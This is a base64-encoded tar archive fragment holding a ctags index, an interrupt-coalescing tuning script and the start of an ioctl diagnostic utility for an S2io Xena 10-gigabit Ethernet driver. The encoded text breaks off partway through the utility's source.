YXQxNl8yMzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfbWF0MjRfMzEJcmVncy5o CS9eICAgIHU2NCB0eF9tYXQyNF8zMTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhf bWF0MzJfMzkJcmVncy5oCS9eICAgIHU2NCB0eF9tYXQzMl8zOTskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKdHhfbWF0NDBfNDcJcmVncy5oCS9eICAgIHU2NCB0eF9tYXQ0MF80NzskLzsi CW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfbWF0NDhfNTUJcmVncy5oCS9eICAgIHU2NCB0 eF9tYXQ0OF81NTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfbWF0NTZfNjMJcmVn cy5oCS9eICAgIHU2NCB0eF9tYXQ1Nl82MzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcK dHhfbWF0OF8xNQlyZWdzLmgJL14gICAgdTY0IHR4X21hdDhfMTU7JC87IgltCXN0cnVjdDpfWEVO QV9kZXZfY29uZmlnCnR4X3BhX2NmZwlyZWdzLmgJL14gICAgdTY0IHR4X3BhX2NmZzskLzsiCW0J c3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfcGt0X2NvdW50CXMyaW8uaAkvXiAgICB1MTYgdHhf cGt0X2NvdW50OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKdHhfcGt0X3B0cglzMmlvLmgJL14gICAg dm9pZCAqdHhfcGt0X3B0cjskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnR4X3ByaW8JczJpby5jCS9e c3RhdGljIHUzMiB0eF9wcmlvOyQvOyIJdglmaWxlOgp0eF90cmFmZmljX2ludAlyZWdzLmgJL14g ICAgdTY0IHR4X3RyYWZmaWNfaW50OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0eF90 cmFmZmljX21hc2sJcmVncy5oCS9eICAgIHU2NCB0eF90cmFmZmljX21hc2s7JC87IgltCXN0cnVj dDpfWEVOQV9kZXZfY29uZmlnCnR4X3dfcm91bmRfcm9iaW5fMAlyZWdzLmgJL14gICAgdTY0IHR4 X3dfcm91bmRfcm9iaW5fMDskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfd19yb3Vu ZF9yb2Jpbl8xCXJlZ3MuaAkvXiAgICB1NjQgdHhfd19yb3VuZF9yb2Jpbl8xOyQvOyIJbQlzdHJ1 Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0eF93X3JvdW5kX3JvYmluXzIJcmVncy5oCS9eICAgIHU2NCB0 eF93X3JvdW5kX3JvYmluXzI7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnR4X3dfcm91 bmRfcm9iaW5fMwlyZWdzLmgJL14gICAgdTY0IHR4X3dfcm91bmRfcm9iaW5fMzskLzsiCW0Jc3Ry dWN0Ol9YRU5BX2Rldl9jb25maWcKdHhfd19yb3VuZF9yb2Jpbl80CXJlZ3MuaAkvXiAgICB1NjQg dHhfd19yb3VuZF9yb2Jpbl80OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0eGJ5dGVz CXV0aWwuaAkvXgl1bnNpZ25lZCBsb25nIGxvbmcgdHhieXRlczskLzsiCW0Jc3RydWN0OmlvY3Rs SW5mbwp0eGRfbGlzdF9tZW0JczJpby5oCS9eICAgIHZvaWQqICAgdHhkX2xpc3RfbWVtOyAgICAg XC8qIG9yaWduYWwgcG9pbnRlciB0byBhbGxvY2F0ZWQgbWVtICpcLyQvOyIJbQlzdHJ1Y3Q6bWFj X2luZm8KdHhkX2xpc3RfbWVtX3BoeQlzMmlvLmgJL14gICAgZG1hYWRkcl90IHR4ZF9saXN0X21l bV9waHk7JC87IgltCXN0cnVjdDptYWNfaW5mbwp0eGRfbGlzdF9tZW1fc3oJczJpby5oCS9eICAg IHUzMiAgICAgdHhkX2xpc3RfbWVtX3N6OyQvOyIJbQlzdHJ1Y3Q6bWFjX2luZm8KdHhkX3JkX2Nu dAlzMmlvLmgJL14gICAgdTMyIHR4ZF9yZF9jbnQ7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCnR4 ZF93cl9jbnQJczJpby5oCS9eICAgIHUzMiB0eGRfd3JfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9i bG9jawp0eGRsX2xlbglzMmlvLmgJL14gICAgdTE2ICAgICAgICAgICAgICAgICAgdHhkbF9sZW47 IFwvKiBsZW5ndGggb2YgYSBUeERMLCBzYW1lIGZvciBhbGwqXC8kLzsiCW0Jc3RydWN0Om1hY19p bmZvCnR4ZGxfc3RhcnQJczJpby5oCS9eICAgIFR4RF90KiAgICAgICAgICAgICAgdHhkbF9zdGFy dFtNQVhfVFhfRklGT1NdOyQvOyIJbQlzdHJ1Y3Q6bWFjX2luZm8KdHhkbF9zdGFydF9waHkJczJp by5oCS9eICAgIGRtYWFkZHJfdCB0eGRsX3N0YXJ0X3BoeVtNQVhfVFhfRklGT1NdOyAkLzsiCW0J c3RydWN0Om1hY19pbmZvCnR4ZG1hX2RlYnVnX2N0cmwJcmVncy5oCS9eICAgIHU2NCB0eGRtYV9k ZWJ1Z19jdHJsOyBcLypUT0RPOiAxLjUgU3BlYyBkb2VzIG5vdCBtZW50aW9uIHRoaXMgcmVnaXN0 ZXIgYW55IG1vcmUqXC8kLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhkbWFfaW50X21h c2sJcmVncy5oCS9eICAgIHU2NCB0eGRtYV9pbnRfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rl dl9jb25maWcKdHhkbWFfaW50X3N0YXR1cwlyZWdzLmgJL14gICAgdTY0IHR4ZG1hX2ludF9zdGF0 dXM7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnR4Zl9yZF9jbnQJczJpby5oCS9eICAg IHUzMiB0eGZfcmRfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawp0eGludF9jbnQJczJpby5o CS9eCWludCB0eGludF9jbnQ7JC87IgltCXN0cnVjdDpzMmlvX25pYwp0eHBfd3JfY250CXMyaW8u aAkvXiAgICB1MzIgdHhwX3dyX2NudDskLzsiCW0Jc3RydWN0OnN0YXRfYmxvY2sKdHhwaWNfYWxh cm1zCXJlZ3MuaAkvXiAgICB1NjQgdHhwaWNfYWxhcm1zOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2 X2NvbmZpZwp0eHBpY19pbnRfbWFzawlyZWdzLmgJL14gICAgdTY0IHR4cGljX2ludF9tYXNrOyQv OyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp0eHBpY19pbnRfcmVnCXJlZ3MuaAkvXiAgICB1 NjQgdHhwaWNfaW50X3JlZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdHhwa3RfYnl0 ZXMJczJpby5oCS9eCXU2NCB0eHBrdF9ieXRlczskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnR4cmVx dGltZW91dAlyZWdzLmgJL14gICAgdTY0IHR4cmVxdGltZW91dDskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKdW51c2VkMAlyZWdzLmgJL14gICAgdTgJdW51c2VkMFsweDEwMCAtIDB4MTBd OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQxMAlyZWdzLmgJL14gICAgdTgg dW51c2VkMTBbMHgxODAwLTB4MTcwOF07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnVu dXNlZDExCXJlZ3MuaAkvXiAgICAgICAgdTggdW51c2VkMTFbMHgxMDAtMHg4OF07JC87IgltCXN0 cnVjdDpfWEVOQV9kZXZfY29uZmlnCnVudXNlZDEyCXJlZ3MuaAkvXiAgICAgICAgdTggdW51c2Vk MTJbMHg3MDAtMHgxRDhdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQxMwly ZWdzLmgJL14gICAgICAgIHU4IHVudXNlZDEzWzB4MjAwMC0weDFmMDhdOyQvOyIJbQlzdHJ1Y3Q6 X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQxNAlyZWdzLmgJL14gICAgICAgIHU4IHVudXNlZDE0WzB4 MTAwLTB4NDBdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQxNQlyZWdzLmgJ L14gICAgICAgIHU4IHVudXNlZDE1WzB4OF07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmln CnVudXNlZDE2CXJlZ3MuaAkvXiAgICAgICAgdTggdW51c2VkMTZbMHg3MDAtMHgyMjBdOyQvOyIJ bQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQxNwlyZWdzLmgJL14gICAgICAgIHU4IHVu dXNlZDE3WzB4MjgwMC0weDI3MDhdOwlcLyogQ0hBTkdFRCAqXC8kLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKdW51c2VkMTgJcmVncy5oCS9eICAgICAgICB1OCB1bnVzZWQxOFsweDEwMC0w eDI4XTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdW51c2VkMTkJcmVncy5oCS9eICAg ICAgICB1OCB1bnVzZWQxOVsweDIwMC0weDE2OF07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29u ZmlnCnVudXNlZDIwCXJlZ3MuaAkvXiAgICAgICAgdTggdW51c2VkMjBbMHgyMjAtMHgyMDhdOyQv OyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQyMQlyZWdzLmgJL14gICAgICAgIHU4 IHVudXNlZDIxWzB4MjQwLTB4MjI4XTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdW51 c2VkMjIJcmVncy5oCS9eICAgICAgICB1OCB1bnVzZWQyMlsweDI2MC0weDI0OF07JC87IgltCXN0 cnVjdDpfWEVOQV9kZXZfY29uZmlnCnVudXNlZDIzCXJlZ3MuaAkvXiAgICAgICAgdTggdW51c2Vk MjNbMHgyODAtMHgyNjhdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQyNAly ZWdzLmgJL14gICAgICAgIHU4IHVudXNlZDI0WzB4MzAwLTB4Mjg4XTskLzsiCW0Jc3RydWN0Ol9Y RU5BX2Rldl9jb25maWcKdW51c2VkMjUJcmVncy5oCS9eICAgICAgICB1OCB1bnVzZWQyNVsweDcw MC0weDMwOF07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnVudXNlZDI2CXJlZ3MuaAkv XiAgICAgICAgdTggdW51c2VkMjZbMHgzMDAwLTB4MmYwOF07JC87IgltCXN0cnVjdDpfWEVOQV9k ZXZfY29uZmlnCnVudXNlZDI3CXJlZ3MuaAkvXiAgICAgICAgdTggdW51c2VkMjdbMHgxMDAtMHg0 MF07ICQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQ0CXJlZ3MuaAkvXiAgICB1 OAl1bnVzZWQ0WzB4MDhdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQ1CXJl Z3MuaAkvXiAgICB1OAl1bnVzZWQ1WzB4MzhdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZp Zwp1bnVzZWQ2CXJlZ3MuaAkvXiAgICB1OAl1bnVzZWQ2WzB4OF07JC87IgltCXN0cnVjdDpfWEVO QV9kZXZfY29uZmlnCnVudXNlZDcJcmVncy5oCS9eICAgIHU4CXVudXNlZDdbMHg2MDBdOyQvOyIJ bQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQ4CXJlZ3MuaAkvXiAgICB1OCB1bnVzZWQ4 WzB4MTAwLTB4QjhdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1bnVzZWQ5CXJlZ3Mu aAkvXiAgICB1OCB1bnVzZWQ5WzB4NzAwLTB4MTc4XTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9j b25maWcKdW51c2VkXzAJcmVncy5oCS9eICAgIHU4CXVudXNlZF8wWzB4ODAwLTB4MTIwXTskLzsi CW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKdW51c2VkXzEJcmVncy5oCS9eICAgIHU4CXVudXNl ZF8xWzB4MTBdOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp1c2FnZV9jbnQJczJpby5o CS9eICAgIGludCB1c2FnZV9jbnQ7JC87IgltCXN0cnVjdDoKdXNyX2FkZHJfY291bnQJczJpby5o CS9eICAgIHUxNiB1c3JfYWRkcl9jb3VudDskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnVzcl9hZGRy X3QJczJpby5oCS9efXVzcl9hZGRyX3Q7JC87Igl0CnVzcl9hZGRycwlzMmlvLmgJL14gICAgdXNy X2FkZHJfdCAgdXNyX2FkZHJzW01BWF9BRERSU19TVVBQT1JURURdOyQvOyIJbQlzdHJ1Y3Q6czJp b19uaWMKdkJJVAlzMmlvLmgJMjE7IglkCnZhbHVlCXV0aWwuaAkvXgl1bnNpZ25lZCBsb25nIGxv bmcgdmFsdWU7JC87IgltCXN0cnVjdDppb2N0bEluZm8KdmVuZG9yX2lkCXMyaW8uaAkvXiAgICB1 MTYgdmVuZG9yX2lkOyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKdmVyaWZ5X3Rlc3RGcm1zCXMyaW8u YwkvXmludCB2ZXJpZnlfdGVzdEZybXMobmljX3QgKnNwKSQvOyIJZgp2ZXJpZnlfeGVuYV9xdWll c2NlbmNlCXMyaW8uYwkvXnN0YXRpYyBpbnQgdmVyaWZ5X3hlbmFfcXVpZXNjZW5jZSh1NjQgdmFs NjQsIGludCBmbGFnKSQvOyIJZglmaWxlOgp3YWl0Rm9yQ21kQ29tcGxldGUJczJpby5jCS9eaW50 IHdhaXRGb3JDbWRDb21wbGV0ZShuaWNfdCAqc3ApJC87IglmCndyX2Rpc2NfY250CXMyaW8uaAkv XiAgICB1MzIgd3JfZGlzY19jbnQ7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCndyX3JlcV9jbnQJ czJpby5oCS9eICAgIHUzMiB3cl9yZXFfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9jawp3cl9y dHJ5X2NudAlzMmlvLmgJL14gICAgdTMyIHdyX3J0cnlfY250OyQvOyIJbQlzdHJ1Y3Q6c3RhdF9i bG9jawp3cl9ydHJ5X3JkX2Fja19jbnQJczJpby5oCS9eICAgIHUzMiB3cl9ydHJ5X3JkX2Fja19j bnQ7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCndyaXRlMTYJczJpby5oCTgxMjsiCWQKd3JpdGUz MglzMmlvLmgJODExOyIJZAp3cml0ZTY0CXMyaW8uaAkvXnN0YXRpYyBpbmxpbmUgdm9pZCB3cml0 ZTY0KHZvaWQgKmFkZHIsIHU2NCB2YWwpJC87IglmCndyaXRlNjQJczJpby5oCTgwOTsiCWQKd3Jp dGU4CXMyaW8uaAk4MTM7IglkCndyaXRlRWVwcm9tCXMyaW8uYwkvXnN0YXRpYyBpbnQgd3JpdGVF ZXByb20obmljX3QgKnNwLCBpbnQgb2ZmLCB1MzIgZGF0YSwgaW50IGNudCkkLzsiCWYJZmlsZToK d3JpdGVfcmV0cnlfYWNjZWxlcmF0aW9uCXJlZ3MuaAkvXiAgICB1NjQgd3JpdGVfcmV0cnlfYWNj ZWxlcmF0aW9uOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp3cml0ZV9yZXRyeV9kZWxh eQlyZWdzLmgJL14gICAgdTY0IHdyaXRlX3JldHJ5X2RlbGF5OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFf ZGV2X2NvbmZpZwp4ZW5hX21heF9vdXRzdGFuZGluZ19zcGxpdHMJczJpby5oCS9edHlwZWRlZiBl bnVtIHhlbmFfbWF4X291dHN0YW5kaW5nX3NwbGl0cyB7JC87IglnCnhlbmFfbWF4X291dHN0YW5k aW5nX3NwbGl0cwlzMmlvLmgJL159eGVuYV9tYXhfb3V0c3RhbmRpbmdfc3BsaXRzOyQvOyIJdAp4 Z3hzX2NmZwlyZWdzLmgJL14gICAgICAgIHU2NCB4Z3hzX2NmZzskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKeGd4c19jZmdfa2V5CXJlZ3MuaAkvXiAgICAgICAgdTY0IHhneHNfY2ZnX2tl eTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKeGd4c19lZmlmb19jZmcJcmVncy5oCS9e CXU2NCB4Z3hzX2VmaWZvX2NmZzsJXC8qIENIQU5HRUQgKlwvJC87IgltCXN0cnVjdDpfWEVOQV9k ZXZfY29uZmlnCnhneHNfaW50X21hc2sJcmVncy5oCS9eICAgICAgICB1NjQgeGd4c19pbnRfbWFz azskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKeGd4c19pbnRfc3RhdHVzCXJlZ3MuaAkv XiAgICAgICAgdTY0IHhneHNfaW50X3N0YXR1czskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25m aWcKeGd4c19yeGd4c19lcnJfYWxhcm0JcmVncy5oCS9eICAgICAgICB1NjQgeGd4c19yeGd4c19l cnJfYWxhcm07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnhneHNfcnhneHNfZXJyX21h c2sJcmVncy5oCS9eICAgICAgICB1NjQgeGd4c19yeGd4c19lcnJfbWFzazskLzsiCW0Jc3RydWN0 Ol9YRU5BX2Rldl9jb25maWcKeGd4c19yeGd4c19lcnJfcmVnCXJlZ3MuaAkvXiAgICAgICAgdTY0 IHhneHNfcnhneHNfZXJyX3JlZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKeGd4c19z dGF0dXMJcmVncy5oCS9eICAgICAgICB1NjQgeGd4c19zdGF0dXM7JC87IgltCXN0cnVjdDpfWEVO QV9kZXZfY29uZmlnCnhneHNfdHhneHNfZXJyX2FsYXJtCXJlZ3MuaAkvXiAgICAgICAgdTY0IHhn eHNfdHhneHNfZXJyX2FsYXJtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp4Z3hzX3R4 Z3hzX2Vycl9tYXNrCXJlZ3MuaAkvXiAgICAgICAgdTY0IHhneHNfdHhneHNfZXJyX21hc2s7JC87 IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnhneHNfdHhneHNfZXJyX3JlZwlyZWdzLmgJL14g ICAgICAgIHU2NCB4Z3hzX3R4Z3hzX2Vycl9yZWc7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29u ZmlnCnhtc2lfYWNjZXNzCXJlZ3MuaAkvXiAgICB1NjQgeG1zaV9hY2Nlc3M7JC87IgltCXN0cnVj dDpfWEVOQV9kZXZfY29uZmlnCnhtc2lfYWRkcmVzcwlyZWdzLmgJL14gICAgdTY0IHhtc2lfYWRk cmVzczskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKeG1zaV9jb250cm9sCXJlZ3MuaAkv XiAgICB1NjQgeG1zaV9jb250cm9sOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwp4bXNp X2RhdGEJcmVncy5oCS9eICAgIHU2NCB4bXNpX2RhdGE7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAC4vdHVuZV9kcml2ZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw MTAwNjQ0ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDAwMjQ2MQAwNzc3NjYzNTMzMAAwMTIyMDYAIDAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0YXIgIAByb290AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAIyBSZWNlaXZlCiN0aW1lcj0wIC0gN0ZGRiAKcl90aW1lcj0iMUZGRiIKCiNS WF9VUk5HX0EsIFJYX1VSTkdfQiwgUlhfVVJOR19DCiMweDAtMHg2NApyX3Jhbmdlcz0iMGIxMDMw IgoKI0ZyYW1lIGNvdW50CiNSX1VGQ19BLFJfVUZDX0IsUl9VRkNfQyxSX1VGQ19ECiMweDAtMHhG RkZGCnJmY291bnRhPSIwMDAxIgpyZmNvdW50Yj0iMDAwMyIKcmZjb3VudGM9IjAwNDAiCnJmY291 bnRkPSIwMDkwIgoKIyBUcmFuc21pdAojdGltZXI9MCAtIDdGRkYgCnRfdGltZXI9IjFGRkYiCgoj VFhfVVJOR19BLCBUWF9VUk5HX0IsIFRYX1VSTkdfQwojMHgwLTB4NjQKdF9yYW5nZXM9IjBiMTAz MCIKCiNGcmFtZSBjb3VudAojVF9VRkNfQSxUX1VGQ19CLFRfVUZDX0MsVF9VRkNfRAojMHgwLTB4 RkZGRgp0ZmNvdW50YT0iMDAxMCIKdGZjb3VudGI9IjAwMjAiCnRmY291bnRjPSIwMDQwIgp0ZmNv dW50ZD0iMDA4MCIKCiMKIyBEb25vdCBtb2RpZnkgYmV5b25kIHRoaXMgbGluZQojCiMKIyBUdW5l IFJlY2VpdmUgY29hbGVzY2luZwojQUMgZW5hYmxlCmFjPTAyCnJ0aV9kYXRhMV9tZW1fdmFsPSIw eCRyX3RpbWVyJGFjJHJfcmFuZ2VzIgpydGlfZGF0YTJfbWVtX3ZhbD0iMHgkcmZjb3VudGEkcmZj b3VudGIkcmZjb3VudGMkcmZjb3VudGQiCgojV3JpdGUgdG8gUlRJX0RBVEExX01FTQouL3V0aWwg LWlldGgyIC1mL3RtcC9kdW1wIDcgMHgxOWMwICAkcnRpX2RhdGExX21lbV92YWwKLi91dGlsIC1p ZXRoMiAtZi90bXAvZHVtcCA2IDB4MTljMAoKI1dyaXRlIHRvIFJUSV9EQVRBMl9NRU0KLi91dGls IC1pZXRoMiAtZi90bXAvZHVtcCA3IDB4MTljOCAkcnRpX2RhdGEyX21lbV92YWwKLi91dGlsIC1p ZXRoMiAtZi90bXAvZHVtcCA2IDB4MTljOAoKI3N0cm9iZQouL3V0aWwgLWlldGgyIC1mL3RtcC9k dW1wIDcgMHgxOWI4IDEwMTAwMDAwMDAwMDAwMAoKCgphYz0wMgp0dGlfZGF0YTFfbWVtX3ZhbD0i MHgkdF90aW1lciRhYyR0X3JhbmdlcyIKdHRpX2RhdGEyX21lbV92YWw9IjB4JHRmY291bnRhJHRm Y291bnRiJHRmY291bnRjJHRmY291bnRkIgoKI1dyaXRlIHRvIFRUSV9EQVRBMV9NRU0KLi91dGls IC1pZXRoMiAtZi90bXAvZHVtcCA3IDB4MTE1OCAgJHR0aV9kYXRhMV9tZW1fdmFsCi4vdXRpbCAt aWV0aDIgLWYvdG1wL2R1bXAgNiAweDExNTgKCiNXcml0ZSB0byBUVElfREFUQTJfTUVNCi4vdXRp bCAtaWV0aDIgLWYvdG1wL2R1bXAgNyAweDExNjAgJHR0aV9kYXRhMl9tZW1fdmFsCi4vdXRpbCAt aWV0aDIgLWYvdG1wL2R1bXAgNiAweDExNjAKCiNzdHJvYmUKLi91dGlsIC1pZXRoMiAtZi90bXAv ZHVtcCA3IDB4MTE1MCAxMDEwMDAwMDAwMDAwMDAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAALi91dGlsLmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAxMDA2 NDQAMDAwMDAwMAAwMDAwMDAwADAwMDAwMDEyMjcyADA3NzUxNjA1MjA2ADAxMTA0NwAgMAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAjaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxz eXMvaW9jdGwuaD4KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4KI2luY2x1ZGUgPG5ldC9pZi5oPgoj aW5jbHVkZSA8c3RkbGliLmg+CiNpbmNsdWRlICJ1dGlsLmgiCgppbnQgbWFpbihpbnQgYXJnYywg Y2hhciAqKmFyZ3YpCnsKCWludCBzb2NrID0gc29ja2V0KEFGX0lORVQsU09DS19ER1JBTSwwKSxp OwoJaW50IGZwLGosIGZpbGVfZmxhZyA9IDA7CSAKCXN0cnVjdCBpZnJlcSBycTsKCWlvY3RsSW5m b190IGlvOwoJdW5zaWduZWQgY2hhciAqYywgZGV2WzEwXSxwYXRoWzMwXTsKCglpZigoYXJnYyA8 IDQpIHx8IChhcmdjID4gNikpIHsKCQlwcmludGYoIlVzYWdlOiAuL3V0aWwgLWk8SS9GIG5hbWU+ IC1mPG8vcCBmaWxlPiBvcHRpb25zXG4iKTsKCQlwcmludGYoIk9wdGlvbnMsIDE9VHhELCAyPXN0 YXRzLCAzPWdldCBHZW4gaW50IHN0YXR1cyByZWcsIDQ9UnhEIik7IAoJCXByaW50ZigiLCA1PVJ4 IEJ1ZmZlciwgNj1SZWcgPG9mZnNldD4sIDc9d3JpdGUgPG9mZnNldD4gPHZhbHVlPiIpOwoJCXBy aW50ZigiLCA4PXJlc2V0XG4iKTsKCQlyZXR1cm4gMDsKCX0KCWlmKChhcmdjID4gMykgJiYgKGFy Z2MgPCA3KSkgewoJCWlmKChhcmd2WzFdWzBdICE9ICctJyl8fChhcmd2WzFdWzFdICE9ICdpJykp IHsKCQkJcHJpbnRmKCJQbGVhc2UgZW50ZXIgdGhlIHRhcmdldCBkZXZpY2UgbmFtZSBwcmVmaXhl ZCB3aXRoIGEgJy1pJyIpOwoJCQlwcmludGYoIiB0byBydW4gYSBwYXJ0aWN1bGFyIG9wdGlvbiBv IHV0aWwgb24gdGhhdCBkZXZpY2UuXG4iKTsKCQkJcHJpbnRmKCJFZzogLi91dGlsIC1pZXRoMCAt Zi90bXAvZHVtbXkgNiAxMDhcbiIpOwoJCQlyZXR1cm4gMDsKCQl9CgkJaWYoKGFyZ3ZbMl1bMF0g IT0gJy0nKXx8KGFyZ3ZbMl1bMV0gIT0gJ2YnKSkgewoJCQlwcmludGYoIkVudGVyIHRoZSBvdXRw 